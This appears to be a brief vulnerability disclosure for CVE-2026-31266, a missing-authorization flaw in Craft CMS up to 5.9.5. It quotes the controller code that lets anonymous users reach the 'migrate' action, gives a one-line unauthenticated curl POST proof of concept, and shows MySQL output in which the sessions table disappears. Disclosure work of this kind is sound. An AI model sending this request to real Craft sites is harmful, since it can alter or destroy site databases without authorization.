
Security research on Craft CMS authentication mechanism
| Field | Value |
|---|---|
| CVE ID | CVE-2026-31266 |
| Vendor | Pixel & Tonic |
| Product | Craft CMS |
| Affected Versions | <= 5.9.5 |
| CWE | CWE-862 (Missing Authorization) |
| CVSS | 7.3 (High) |
| Security Researcher | 0xRIXET |
screenshots/ - Proof of Concept demonstrationsFile: src/controllers/AppController.php
Lines 65-68:
protected array|bool|int $allowAnonymous = [
'migrate' => self::ALLOW_ANONYMOUS_LIVE | self::ALLOW_ANONYMOUS_OFFLINE,
];
# With allowAdminChanges=false
curl -X POST "http://target/actions/app/migrate"
mysql> SELECT COUNT(*) FROM sessions;
+----------+
| COUNT(*) |
+----------+
| 0 |
+----------+
mysql> SELECT COUNT(*) FROM sessions;
ERROR 1146 (42S02): Table 'sessions' doesn't exist